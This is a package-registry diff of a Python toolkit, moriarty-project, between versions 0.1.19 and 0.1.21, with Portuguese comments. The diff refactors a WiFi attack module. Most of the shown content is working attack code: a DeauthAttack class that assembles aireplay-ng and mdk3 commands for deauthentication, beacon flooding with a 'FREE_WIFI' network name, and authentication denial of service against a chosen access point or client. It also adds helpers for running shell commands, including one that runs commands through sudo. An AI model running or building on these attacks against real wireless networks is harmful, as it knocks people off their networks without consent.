moriarty-project 0.1.19__py3-none-any.whl → 0.1.21__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- moriarty/__init__.py +1 -1
- moriarty/modules/wifippler/__init__.py +35 -6
- moriarty/modules/wifippler/cli/__init__.py +8 -0
- moriarty/modules/wifippler/cli/commands.py +123 -0
- moriarty/modules/wifippler/core/__init__.py +39 -25
- moriarty/modules/wifippler/core/attacks/__init__.py +136 -9
- moriarty/modules/wifippler/core/attacks/deauth.py +81 -159
- moriarty/modules/wifippler/core/utils/__init__.py +59 -45
- moriarty/modules/wifippler/core/utils/exec.py +182 -0
- moriarty/modules/wifippler/core/utils/network.py +223 -0
- moriarty/modules/wifippler/core/utils/system.py +153 -0
- {moriarty_project-0.1.19.dist-info → moriarty_project-0.1.21.dist-info}/METADATA +2 -2
- {moriarty_project-0.1.19.dist-info → moriarty_project-0.1.21.dist-info}/RECORD +15 -11
- moriarty/modules/wifippler/core/utils.py +0 -851
- {moriarty_project-0.1.19.dist-info → moriarty_project-0.1.21.dist-info}/WHEEL +0 -0
- {moriarty_project-0.1.19.dist-info → moriarty_project-0.1.21.dist-info}/entry_points.txt +0 -0
@@ -28,6 +28,9 @@ from ...core.utils import (
|
|
28
28
|
get_interface_mac
|
29
29
|
)
|
30
30
|
|
31
|
+
# Importa o decorador de registro de ataques
|
32
|
+
from . import register_attack
|
33
|
+
|
31
34
|
# Configuração de logging
|
32
35
|
logging.basicConfig(level=logging.INFO)
|
33
36
|
logger = logging.getLogger(__name__)
|
@@ -57,34 +60,32 @@ class DeauthEventType(Enum):
|
|
57
60
|
@dataclass
|
58
61
|
class DeauthEvent:
|
59
62
|
"""Evento de progresso do ataque de desautenticação."""
|
60
|
-
type:
|
63
|
+
type: DeauthAttackType
|
61
64
|
message: str = ""
|
62
65
|
data: Dict[str, Any] = field(default_factory=dict)
|
63
66
|
|
67
|
+
@register_attack
|
64
68
|
class DeauthAttack:
|
65
|
-
"""
|
69
|
+
"""
|
70
|
+
Ataque de desautenticação WiFi.
|
66
71
|
|
67
|
-
|
68
|
-
|
69
|
-
|
70
|
-
|
71
|
-
|
72
|
-
|
73
|
-
|
74
|
-
|
75
|
-
|
76
|
-
|
72
|
+
Este ataque envia pacotes de desautenticação para desconectar clientes de uma rede WiFi.
|
73
|
+
Pode ser direcionado a um cliente específico ou a todos os clientes de uma rede.
|
74
|
+
"""
|
75
|
+
|
76
|
+
# Metadados do ataque
|
77
|
+
name = "deauth"
|
78
|
+
description = "Ataque de desautenticação WiFi para desconectar clientes de uma rede"
|
79
|
+
|
80
|
+
def __init__(self):
|
81
|
+
"""Inicializa o ataque de desautenticação."""
|
82
|
+
self.interface = None
|
83
|
+
self.deauth_type = None
|
77
84
|
self.is_running = False
|
78
85
|
self.stop_requested = False
|
79
86
|
self.packets_sent = 0
|
80
87
|
self.process = None
|
81
|
-
|
82
|
-
# Verifica dependências
|
83
88
|
self._check_dependencies()
|
84
|
-
|
85
|
-
# Verifica privilégios
|
86
|
-
if not is_root():
|
87
|
-
raise PermissionError("Este ataque requer privilégios de root")
|
88
89
|
|
89
90
|
def _check_dependencies(self) -> None:
|
90
91
|
"""Verifica se todas as dependências necessárias estão instaladas."""
|
@@ -97,36 +98,53 @@ class DeauthAttack:
|
|
97
98
|
"Instale-as com: sudo apt install aircrack-ng mdk4 mdk3 wireless-tools"
|
98
99
|
)
|
99
100
|
|
100
|
-
def
|
101
|
-
count: int = 0, delay: int = 100,
|
102
|
-
reason: int = 7, channel: int = None,
|
103
|
-
callback: Callable[[DeauthEvent], None] = None) -> bool:
|
101
|
+
def run(self, *, iface: str, target: Optional[str] = None, **kwargs) -> bool:
|
104
102
|
"""
|
105
|
-
|
103
|
+
Executa o ataque de desautenticação.
|
106
104
|
|
107
105
|
Args:
|
108
|
-
|
109
|
-
|
110
|
-
|
111
|
-
|
112
|
-
|
113
|
-
|
114
|
-
|
115
|
-
|
116
|
-
|
117
|
-
|
106
|
+
iface: Interface de rede a ser usada
|
107
|
+
target: Endereço MAC do alvo (pode ser um cliente ou AP)
|
108
|
+
**kwargs: Argumentos adicionais:
|
109
|
+
- bssid: Endereço MAC do ponto de acesso (obrigatório se target for um cliente)
|
110
|
+
- client_mac: Endereço MAC do cliente (opcional, None para broadcast)
|
111
|
+
- count: Número de pacotes a enviar (0 para contínuo, padrão: 0)
|
112
|
+
- delay: Atraso entre pacotes em ms (padrão: 100)
|
113
|
+
- reason: Código de motivo (padrão: 7)
|
114
|
+
- channel: Canal da rede (opcional, tenta detectar)
|
115
|
+
- deauth_type: Tipo de ataque (padrão: DEAUTH)
|
118
116
|
"""
|
119
|
-
self.
|
120
|
-
|
121
|
-
|
117
|
+
self.interface = iface
|
118
|
+
bssid = target or kwargs.get('bssid')
|
119
|
+
client_mac = kwargs.get('client_mac')
|
120
|
+
count = kwargs.get('count', 0)
|
121
|
+
delay = kwargs.get('delay', 100)
|
122
|
+
reason = kwargs.get('reason', 7)
|
123
|
+
channel = kwargs.get('channel')
|
124
|
+
deauth_type = kwargs.get('deauth_type', 'DEAUTH')
|
125
|
+
|
126
|
+
# Configura o tipo de ataque
|
127
|
+
self.deauth_type = DeauthAttackType[deauth_type.upper()] if isinstance(deauth_type, str) else deauth_type
|
128
|
+
|
129
|
+
# Função de callback padrão
|
130
|
+
def default_callback(event):
|
131
|
+
if event.type == DeauthEventType.INFO:
|
132
|
+
logger.info(event.message)
|
133
|
+
elif event.type == DeauthEventType.ERROR:
|
134
|
+
logger.error(event.message)
|
135
|
+
|
136
|
+
callback = kwargs.get('callback', default_callback)
|
122
137
|
|
123
|
-
# Configura o monitoramento de eventos
|
124
138
|
def event_handler(event_type: DeauthEventType, message: str = "", **kwargs):
|
125
139
|
if callback:
|
126
140
|
event = DeauthEvent(type=event_type, message=message, data=kwargs)
|
127
141
|
callback(event)
|
128
142
|
|
129
143
|
try:
|
144
|
+
# Verifica privilégios
|
145
|
+
if not is_root():
|
146
|
+
raise PermissionError("Este ataque requer privilégios de root")
|
147
|
+
|
130
148
|
# Define o canal, se especificado
|
131
149
|
if channel:
|
132
150
|
self._set_channel(channel)
|
@@ -136,14 +154,6 @@ class DeauthAttack:
|
|
136
154
|
cmd = self._prepare_beacon_attack(bssid, essid="FREE_WIFI")
|
137
155
|
elif self.deauth_type == DeauthAttackType.AUTH_DOS:
|
138
156
|
cmd = self._prepare_auth_dos(bssid)
|
139
|
-
elif self.deauth_type == DeauthAttackType.DEAUTH_BROADCAST:
|
140
|
-
cmd = self._prepare_broadcast_deauth(bssid, count, delay, reason)
|
141
|
-
elif self.deauth_type == DeauthAttackType.DEAUTH_MULTICAST:
|
142
|
-
cmd = self._prepare_multicast_deauth(bssid, count, delay, reason)
|
143
|
-
elif self.deauth_type == DeauthAttackType.DEAUTH_DIRECTED:
|
144
|
-
if not client_mac:
|
145
|
-
raise ValueError("Endereço MAC do cliente é necessário para desautenticação direcionada")
|
146
|
-
cmd = self._prepare_directed_deauth(bssid, client_mac, count, delay, reason)
|
147
157
|
else: # Desautenticação padrão
|
148
158
|
cmd = self._prepare_standard_deauth(bssid, client_mac, count, delay, reason)
|
149
159
|
|
@@ -159,6 +169,7 @@ class DeauthAttack:
|
|
159
169
|
|
160
170
|
# Monitora a saída
|
161
171
|
start_time = time.time()
|
172
|
+
self.is_running = True
|
162
173
|
|
163
174
|
while True:
|
164
175
|
# Verifica se foi solicitado para parar
|
@@ -199,142 +210,53 @@ class DeauthAttack:
|
|
199
210
|
return True
|
200
211
|
|
201
212
|
except Exception as e:
|
202
|
-
event_handler(
|
203
|
-
DeauthEventType.ERROR,
|
204
|
-
f"Erro durante o ataque de desautenticação: {str(e)}"
|
205
|
-
)
|
213
|
+
event_handler(DeauthEventType.ERROR, f"Erro durante o ataque: {str(e)}")
|
206
214
|
return False
|
207
|
-
|
208
215
|
finally:
|
209
216
|
self.is_running = False
|
210
|
-
|
217
|
+
|
218
|
+
def _set_channel(self, channel: int) -> None:
|
219
|
+
"""Define o canal da interface de rede."""
|
220
|
+
try:
|
221
|
+
subprocess.run(
|
222
|
+
["iwconfig", self.interface, "channel", str(channel)],
|
223
|
+
check=True,
|
224
|
+
capture_output=True
|
225
|
+
)
|
226
|
+
except subprocess.CalledProcessError as e:
|
227
|
+
raise RuntimeError(f"Falha ao definir o canal {channel}: {e.stderr}")
|
211
228
|
|
212
229
|
def _prepare_standard_deauth(self, bssid: str, client_mac: str = None,
|
213
|
-
|
214
|
-
|
230
|
+
count: int = 0, delay: int = 100,
|
231
|
+
reason: int = 7) -> List[str]:
|
215
232
|
"""Prepara o comando para desautenticação padrão."""
|
216
|
-
cmd = [
|
217
|
-
|
218
|
-
'--deauth', str(count) if count > 0 else '0',
|
219
|
-
'-a', bssid,
|
220
|
-
'-h', get_interface_mac(self.interface) or '00:11:22:33:44:55',
|
221
|
-
'--ignore-negative-one',
|
222
|
-
]
|
223
|
-
|
224
|
-
if client_mac and client_mac.lower() != 'ff:ff:ff:ff:ff:ff':
|
225
|
-
cmd.extend(['-c', client_mac])
|
233
|
+
cmd = ["aireplay-ng", "--deauth", str(count) if count > 0 else "0",
|
234
|
+
"-a", bssid, "-D", str(delay), "--ignore-negative-one"]
|
226
235
|
|
227
|
-
if
|
228
|
-
cmd.extend([
|
236
|
+
if client_mac:
|
237
|
+
cmd.extend(["-c", client_mac])
|
229
238
|
|
230
239
|
cmd.append(self.interface)
|
231
240
|
return cmd
|
232
241
|
|
233
242
|
def _prepare_beacon_attack(self, bssid: str, essid: str = "FREE_WIFI") -> List[str]:
|
234
243
|
"""Prepara o comando para ataque de Beacon Flood."""
|
235
|
-
|
236
|
-
return [
|
237
|
-
'mdk3', self.interface, 'b',
|
238
|
-
'-n', essid,
|
239
|
-
'-c', '1,6,11', # Canais 1, 6 e 11 (2.4GHz)
|
240
|
-
'-s', '1000' # Velocidade de envio
|
241
|
-
]
|
244
|
+
return ["mdk3", self.interface, "b", "-n", essid, "-c", "1", "-s", "100"]
|
242
245
|
|
243
246
|
def _prepare_auth_dos(self, bssid: str) -> List[str]:
|
244
247
|
"""Prepara o comando para ataque de negação de serviço por autenticação."""
|
245
|
-
|
246
|
-
return [
|
247
|
-
'mdk3', self.interface, 'a',
|
248
|
-
'-a', bssid,
|
249
|
-
'-m', # Usa endereços MAC aleatórios
|
250
|
-
'-s', '1000' # Velocidade de envio
|
251
|
-
]
|
252
|
-
|
253
|
-
def _prepare_broadcast_deauth(self, bssid: str, count: int, delay: int, reason: int) -> List[str]:
|
254
|
-
"""Prepara o comando para desautenticação em broadcast."""
|
255
|
-
return [
|
256
|
-
'mdk3', self.interface, 'd',
|
257
|
-
'-b', bssid,
|
258
|
-
'-c', str(self._get_channel() or '1'),
|
259
|
-
'-s', '1000',
|
260
|
-
'-n', str(count) if count > 0 else '0'
|
261
|
-
]
|
262
|
-
|
263
|
-
def _prepare_multicast_deauth(self, bssid: str, count: int, delay: int, reason: int) -> List[str]:
|
264
|
-
"""Prepara o comando para desautenticação em multicast."""
|
265
|
-
# Usa o aireplay-ng para enviar pacotes de desautenticação em multicast
|
266
|
-
return [
|
267
|
-
'aireplay-ng',
|
268
|
-
'--deauth', str(count) if count > 0 else '0',
|
269
|
-
'-a', bssid,
|
270
|
-
'-h', '01:00:5E:00:00:01', # Endereço multicast
|
271
|
-
'--ignore-negative-one',
|
272
|
-
self.interface
|
273
|
-
]
|
274
|
-
|
275
|
-
def _prepare_directed_deauth(self, bssid: str, client_mac: str,
|
276
|
-
count: int, delay: int, reason: int) -> List[str]:
|
277
|
-
"""Prepara o comando para desautenticação direcionada."""
|
278
|
-
return [
|
279
|
-
'aireplay-ng',
|
280
|
-
'--deauth', str(count) if count > 0 else '0',
|
281
|
-
'-a', bssid,
|
282
|
-
'-c', client_mac,
|
283
|
-
'--ignore-negative-one',
|
284
|
-
self.interface
|
285
|
-
]
|
286
|
-
|
287
|
-
def _set_channel(self, channel: int) -> bool:
|
288
|
-
"""Define o canal da interface de rede."""
|
289
|
-
try:
|
290
|
-
subprocess.run(
|
291
|
-
['iwconfig', self.interface, 'channel', str(channel)],
|
292
|
-
check=True,
|
293
|
-
capture_output=True
|
294
|
-
)
|
295
|
-
return True
|
296
|
-
except subprocess.CalledProcessError as e:
|
297
|
-
logger.error(f"Erro ao definir o canal: {e.stderr}")
|
298
|
-
return False
|
299
|
-
|
300
|
-
def _get_channel(self) -> Optional[int]:
|
301
|
-
"""Obtém o canal atual da interface de rede."""
|
302
|
-
try:
|
303
|
-
result = subprocess.run(
|
304
|
-
['iwconfig', self.interface],
|
305
|
-
capture_output=True,
|
306
|
-
text=True
|
307
|
-
)
|
308
|
-
|
309
|
-
# Procura por algo como "Channel:11" ou "Frequency:2.412 GHz (Channel 1)"
|
310
|
-
match = re.search(r'Channel:(\d+)', result.stdout)
|
311
|
-
if match:
|
312
|
-
return int(match.group(1))
|
313
|
-
|
314
|
-
match = re.search(r'Channel\s+(\d+)', result.stdout)
|
315
|
-
if match:
|
316
|
-
return int(match.group(1))
|
317
|
-
|
318
|
-
return None
|
319
|
-
|
320
|
-
except Exception as e:
|
321
|
-
logger.error(f"Erro ao obter o canal: {e}")
|
322
|
-
return None
|
248
|
+
return ["mdk3", self.interface, "a", "-a", bssid, "-m"]
|
323
249
|
|
324
|
-
def _stop_process(self):
|
250
|
+
def _stop_process(self) -> None:
|
325
251
|
"""Para o processo em execução."""
|
326
252
|
if self.process and self.process.poll() is None:
|
253
|
+
self.process.terminate()
|
327
254
|
try:
|
328
|
-
self.process.terminate()
|
329
255
|
self.process.wait(timeout=5)
|
330
|
-
except:
|
331
|
-
|
332
|
-
self.process.kill()
|
333
|
-
except:
|
334
|
-
pass
|
256
|
+
except subprocess.TimeoutExpired:
|
257
|
+
self.process.kill()
|
335
258
|
|
336
|
-
def stop(self):
|
259
|
+
def stop(self) -> None:
|
337
260
|
"""Solicita a interrupção do ataque."""
|
338
261
|
self.stop_requested = True
|
339
262
|
self._stop_process()
|
340
|
-
self.is_running = False
|
@@ -1,62 +1,76 @@
|
|
1
1
|
"""
|
2
|
-
|
2
|
+
Módulo de utilidades do WiFiPPLER.
|
3
|
+
|
4
|
+
Este módulo fornece funções auxiliares para operações comuns de rede e sistema.
|
3
5
|
"""
|
4
|
-
import
|
5
|
-
|
6
|
-
|
7
|
-
import
|
8
|
-
import shlex
|
9
|
-
import shutil
|
10
|
-
import logging
|
11
|
-
import fcntl
|
12
|
-
import struct
|
13
|
-
import array
|
14
|
-
import platform
|
15
|
-
import asyncio
|
16
|
-
from .utils import (
|
17
|
-
is_root,
|
18
|
-
get_wireless_interfaces,
|
19
|
-
get_network_interfaces,
|
20
|
-
get_monitor_interfaces,
|
21
|
-
set_monitor_mode,
|
22
|
-
restore_network_interface,
|
23
|
-
start_monitor_mode,
|
24
|
-
stop_monitor_mode,
|
25
|
-
run_command_async,
|
26
|
-
randomize_mac,
|
27
|
-
get_interface_mac,
|
6
|
+
from typing import Optional, List, Dict, Any
|
7
|
+
|
8
|
+
# Importações principais
|
9
|
+
from .network import (
|
28
10
|
get_interface_ip,
|
29
11
|
get_interface_netmask,
|
30
12
|
get_interface_gateway,
|
31
13
|
is_wireless_interface,
|
32
|
-
|
33
|
-
|
34
|
-
|
35
|
-
get_interface_bitrate,
|
36
|
-
create_deauth_packet,
|
37
|
-
parse_airodump_csv,
|
38
|
-
parse_airodump_stations,
|
39
|
-
run_command,
|
40
|
-
command_exists
|
14
|
+
get_network_interfaces,
|
15
|
+
is_interface_up,
|
16
|
+
get_interface_mac
|
41
17
|
)
|
42
|
-
from dataclasses import asdict
|
43
18
|
|
44
|
-
import
|
45
|
-
|
46
|
-
|
47
|
-
|
19
|
+
from .system import (
|
20
|
+
is_root,
|
21
|
+
check_dependencies,
|
22
|
+
command_exists,
|
23
|
+
ensure_root,
|
24
|
+
ensure_dependencies,
|
25
|
+
get_available_interfaces,
|
26
|
+
get_wireless_interfaces
|
27
|
+
)
|
48
28
|
|
49
|
-
from
|
29
|
+
from .exec import (
|
30
|
+
run_command,
|
31
|
+
run_command_async,
|
32
|
+
run_sudo_command,
|
33
|
+
command_success,
|
34
|
+
get_command_output,
|
35
|
+
get_command_output_safe
|
36
|
+
)
|
50
37
|
|
51
38
|
# Configuração de logging
|
39
|
+
import logging
|
52
40
|
logging.basicConfig(level=logging.INFO)
|
53
41
|
logger = logging.getLogger(__name__)
|
54
|
-
console = Console()
|
55
42
|
|
56
|
-
#
|
57
|
-
|
58
|
-
|
59
|
-
|
43
|
+
# Exporta apenas o que é necessário para uso externo
|
44
|
+
__all__ = [
|
45
|
+
# Funções de rede
|
46
|
+
'get_interface_ip',
|
47
|
+
'get_interface_netmask',
|
48
|
+
'get_interface_gateway',
|
49
|
+
'is_wireless_interface',
|
50
|
+
'get_network_interfaces',
|
51
|
+
'is_interface_up',
|
52
|
+
'get_interface_mac',
|
53
|
+
|
54
|
+
# Funções do sistema
|
55
|
+
'is_root',
|
56
|
+
'check_dependencies',
|
57
|
+
'command_exists',
|
58
|
+
'ensure_root',
|
59
|
+
'ensure_dependencies',
|
60
|
+
'get_available_interfaces',
|
61
|
+
'get_wireless_interfaces',
|
62
|
+
|
63
|
+
# Funções de execução de comandos
|
64
|
+
'run_command',
|
65
|
+
'run_command_async',
|
66
|
+
'run_sudo_command',
|
67
|
+
'command_success',
|
68
|
+
'get_command_output',
|
69
|
+
'get_command_output_safe',
|
70
|
+
|
71
|
+
# Logger
|
72
|
+
'logger'
|
73
|
+
]
|
60
74
|
SIOCGIFNETMASK = 0x891B
|
61
75
|
SIOCGIFBRDADDR = 0x8919
|
62
76
|
SIOCGIFMTU = 0x8921
|
@@ -0,0 +1,182 @@
|
|
1
|
+
"""
|
2
|
+
Módulo de execução de comandos para o WiFiPPLER.
|
3
|
+
|
4
|
+
Fornece funções para execução segura de comandos de sistema.
|
5
|
+
"""
|
6
|
+
import asyncio
|
7
|
+
import shlex
|
8
|
+
import logging
|
9
|
+
import subprocess
|
10
|
+
from typing import List, Optional, Union, Dict, Any, Tuple
|
11
|
+
|
12
|
+
logger = logging.getLogger(__name__)
|
13
|
+
|
14
|
+
def run_command(
|
15
|
+
cmd: Union[str, List[str]],
|
16
|
+
capture_output: bool = False,
|
17
|
+
check: bool = True,
|
18
|
+
**kwargs
|
19
|
+
) -> subprocess.CompletedProcess:
|
20
|
+
"""Executa um comando no shell com tratamento de erros.
|
21
|
+
|
22
|
+
Args:
|
23
|
+
cmd: Comando a ser executado (string ou lista)
|
24
|
+
capture_output: Se deve capturar a saída padrão e de erro
|
25
|
+
check: Se deve lançar uma exceção em caso de código de saída diferente de zero
|
26
|
+
**kwargs: Argumentos adicionais para subprocess.run()
|
27
|
+
|
28
|
+
Returns:
|
29
|
+
subprocess.CompletedProcess: Resultado da execução do comando
|
30
|
+
|
31
|
+
Raises:
|
32
|
+
subprocess.CalledProcessError: Se check=True e o comando retornar código de saída não zero
|
33
|
+
"""
|
34
|
+
# Configura os argumentos padrão
|
35
|
+
kwargs.setdefault('stdout', subprocess.PIPE if capture_output else None)
|
36
|
+
kwargs.setdefault('stderr', subprocess.PIPE if capture_output else None)
|
37
|
+
kwargs.setdefault('text', True)
|
38
|
+
|
39
|
+
# Converte o comando para lista se for string
|
40
|
+
if isinstance(cmd, str):
|
41
|
+
cmd = shlex.split(cmd)
|
42
|
+
|
43
|
+
# Executa o comando
|
44
|
+
try:
|
45
|
+
logger.debug(f"Executando comando: {' '.join(cmd)}")
|
46
|
+
result = subprocess.run(cmd, check=check, **kwargs)
|
47
|
+
return result
|
48
|
+
except subprocess.CalledProcessError as e:
|
49
|
+
logger.error(f"Erro ao executar comando: {e}")
|
50
|
+
if capture_output:
|
51
|
+
logger.error(f"Saída de erro: {e.stderr}")
|
52
|
+
raise
|
53
|
+
except Exception as e:
|
54
|
+
logger.error(f"Erro inesperado ao executar comando: {e}")
|
55
|
+
raise
|
56
|
+
|
57
|
+
async def run_command_async(
|
58
|
+
cmd: Union[str, List[str]],
|
59
|
+
**kwargs
|
60
|
+
) -> subprocess.CompletedProcess:
|
61
|
+
"""Executa um comando de forma assíncrona.
|
62
|
+
|
63
|
+
Args:
|
64
|
+
cmd: Comando a ser executado (string ou lista)
|
65
|
+
**kwargs: Argumentos adicionais para asyncio.create_subprocess_exec()
|
66
|
+
|
67
|
+
Returns:
|
68
|
+
subprocess.CompletedProcess: Resultado da execução do comando
|
69
|
+
"""
|
70
|
+
# Converte o comando para lista se for string
|
71
|
+
if isinstance(cmd, str):
|
72
|
+
cmd = shlex.split(cmd)
|
73
|
+
|
74
|
+
# Configura os argumentos padrão
|
75
|
+
kwargs.setdefault('stdout', subprocess.PIPE)
|
76
|
+
kwargs.setdefault('stderr', subprocess.PIPE)
|
77
|
+
kwargs.setdefault('text', True)
|
78
|
+
|
79
|
+
logger.debug(f"Executando comando assíncrono: {' '.join(cmd)}")
|
80
|
+
|
81
|
+
try:
|
82
|
+
# Cria o processo assíncrono
|
83
|
+
process = await asyncio.create_subprocess_exec(
|
84
|
+
cmd[0],
|
85
|
+
*cmd[1:],
|
86
|
+
**kwargs
|
87
|
+
)
|
88
|
+
|
89
|
+
# Aguarda a conclusão do processo
|
90
|
+
stdout, stderr = await process.communicate()
|
91
|
+
|
92
|
+
# Cria um objeto CompletedProcess com o resultado
|
93
|
+
return subprocess.CompletedProcess(
|
94
|
+
args=cmd,
|
95
|
+
returncode=process.returncode,
|
96
|
+
stdout=stdout,
|
97
|
+
stderr=stderr
|
98
|
+
)
|
99
|
+
except Exception as e:
|
100
|
+
logger.error(f"Erro ao executar comando assíncrono: {e}")
|
101
|
+
raise
|
102
|
+
|
103
|
+
def run_sudo_command(
|
104
|
+
cmd: Union[str, List[str]],
|
105
|
+
password: Optional[str] = None,
|
106
|
+
**kwargs
|
107
|
+
) -> subprocess.CompletedProcess:
|
108
|
+
"""Executa um comando com privilégios de superusuário.
|
109
|
+
|
110
|
+
Args:
|
111
|
+
cmd: Comando a ser executado (sem o 'sudo')
|
112
|
+
password: Senha do usuário (opcional, pode ser solicitada interativamente)
|
113
|
+
**kwargs: Argumentos adicionais para run_command()
|
114
|
+
|
115
|
+
Returns:
|
116
|
+
subprocess.CompletedProcess: Resultado da execução do comando
|
117
|
+
"""
|
118
|
+
if isinstance(cmd, str):
|
119
|
+
cmd = shlex.split(cmd)
|
120
|
+
|
121
|
+
# Adiciona o sudo ao início do comando
|
122
|
+
sudo_cmd = ['sudo']
|
123
|
+
|
124
|
+
# Se uma senha for fornecida, usa o -S para ler do stdin
|
125
|
+
if password is not None:
|
126
|
+
sudo_cmd.extend(['-S'])
|
127
|
+
|
128
|
+
sudo_cmd.extend(cmd)
|
129
|
+
|
130
|
+
# Se uma senha for fornecida, envia pelo stdin
|
131
|
+
if password is not None:
|
132
|
+
kwargs['input'] = f"{password}\n"
|
133
|
+
|
134
|
+
return run_command(sudo_cmd, **kwargs)
|
135
|
+
|
136
|
+
def command_success(cmd: str) -> bool:
|
137
|
+
"""Verifica se um comando é executado com sucesso.
|
138
|
+
|
139
|
+
Args:
|
140
|
+
cmd: Comando a ser verificado
|
141
|
+
|
142
|
+
Returns:
|
143
|
+
bool: True se o comando for executado com sucesso, False caso contrário
|
144
|
+
"""
|
145
|
+
try:
|
146
|
+
run_command(cmd, capture_output=True, check=True)
|
147
|
+
return True
|
148
|
+
except subprocess.CalledProcessError:
|
149
|
+
return False
|
150
|
+
|
151
|
+
def get_command_output(cmd: Union[str, List[str]], **kwargs) -> str:
|
152
|
+
"""Executa um comando e retorna sua saída padrão.
|
153
|
+
|
154
|
+
Args:
|
155
|
+
cmd: Comando a ser executado
|
156
|
+
**kwargs: Argumentos adicionais para run_command()
|
157
|
+
|
158
|
+
Returns:
|
159
|
+
str: Saída padrão do comando
|
160
|
+
|
161
|
+
Raises:
|
162
|
+
subprocess.CalledProcessError: Se o comando retornar código de saída não zero
|
163
|
+
"""
|
164
|
+
kwargs['capture_output'] = True
|
165
|
+
result = run_command(cmd, **kwargs)
|
166
|
+
return result.stdout.strip()
|
167
|
+
|
168
|
+
def get_command_output_safe(cmd: Union[str, List[str]], default: str = "", **kwargs) -> str:
|
169
|
+
"""Executa um comando e retorna sua saída padrão ou um valor padrão em caso de erro.
|
170
|
+
|
171
|
+
Args:
|
172
|
+
cmd: Comando a ser executado
|
173
|
+
default: Valor padrão a ser retornado em caso de erro
|
174
|
+
**kwargs: Argumentos adicionais para run_command()
|
175
|
+
|
176
|
+
Returns:
|
177
|
+
str: Saída padrão do comando ou o valor padrão em caso de erro
|
178
|
+
"""
|
179
|
+
try:
|
180
|
+
return get_command_output(cmd, **kwargs)
|
181
|
+
except (subprocess.CalledProcessError, FileNotFoundError):
|
182
|
+
return default
|